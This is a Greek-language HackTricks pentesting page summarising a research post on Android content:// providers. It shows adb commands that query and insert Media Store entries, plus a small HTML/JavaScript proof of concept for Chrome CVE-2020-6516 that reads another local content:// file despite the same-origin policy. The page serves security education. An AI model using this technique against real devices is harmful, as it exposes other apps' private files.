content:// protocol

Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αυτό είναι ένα σύνοψη της δημοσίευσης https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Λίστα Αρχείων στο Media Store

Για να εμφανιστούν οι λίστες αρχείων που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:

$ content query --uri content://media/external/file

Για μια πιο φιλική προς τον χρήστη έξοδο, εμφανίστε μόνο τον αναγνωριστικό και τη διαδρομή κάθε ευρετηριασμένου αρχείου:

$ content query --uri content://media/external/file --projection _id,_data

Πάροχοι περιεχομένου

Οι πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό χώρο ονομάτων. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο content:// URI. Πληροφορίες σχετικά με τα μονοπάτια για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία μεταδεδομένων της εφαρμογής ή τον πηγαίο κώδικα του πλαισίου Android.

Πρόσβαση του Chrome σε Πάροχους Περιεχομένου

Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος content://, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να το επιδείξουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome:

Εισαγωγή μιας προσαρμοσμένης καταχώρισης στο Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Ανακαλύψτε τον αναγνωριστικό του νεοεισαχθέντος αρχείου:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Το αρχείο μπορεί στη συνέχεια να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστή του αρχείου.

Για παράδειγμα, για να εμφανιστούν οι φάκελοι που σχετίζονται με μια συγκεκριμένη εφαρμογή:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Διασπορά της Πολιτικής Ίδιας Προέλευσης

Η Ίδια Προέλευση Πολιτική (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στο να αποτρέψει διαρροές πληροφοριών και απάτες αιτημάτων από διαφορετικές ιστοσελίδες. Το Chrome θεωρεί το content:// ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.

Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στο Chrome που επέτρεπε τη διάβρωση των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL content://. Στην πράξη, κώδικας JavaScript από ένα URL content:// μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL content://, που αποτελούσε σημαντική ανησυχία για την ασφάλεια, ειδικά σε συσκευές Android που εκτελούν εκδόσεις πριν το Android 10, όπου δεν είχε εφαρμοστεί η scoped αποθήκευση.

Το παράδειγμα που ακολουθεί δείχνει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά το ανέβασμα του στο /sdcard και την προσθήκη του στο Media Store, χρησιμοποιεί το XMLHttpRequest στο JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.

Παράδειγμα HTML για την επίδειξη:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated